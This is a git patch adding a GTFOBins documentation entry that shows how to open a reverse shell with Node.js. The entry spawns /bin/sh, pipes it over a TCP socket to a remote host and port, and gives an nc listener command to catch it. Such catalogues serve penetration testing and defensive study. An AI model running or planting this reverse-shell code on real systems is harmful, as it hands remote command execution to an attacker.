From 48787a0e8e9c4ac93b00d3eb3d97466b17b42ba3 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Wed, 23 May 2018 19:47:50 +0100 Subject: [PATCH] Add node reverse-shell --- _gtfobins/node.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 _gtfobins/node.md diff --git a/_gtfobins/node.md b/_gtfobins/node.md new file mode 100644 index 0000000..5532d4b --- /dev/null +++ b/_gtfobins/node.md @@ -0,0 +1,15 @@ +--- +functions: + reverse-shell: + - description: Run `nc -l -p 12345` to receive the shell on the other end. + code: | + export RHOST=10.0.0.1 + export RPORT=12345 + node -e 'sh = require("child_process").spawn("/bin/sh", []); + client = new require("net").Socket(); + client.connect(process.env.RPORT, process.env.RHOST, function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + });' +--- \ No newline at end of file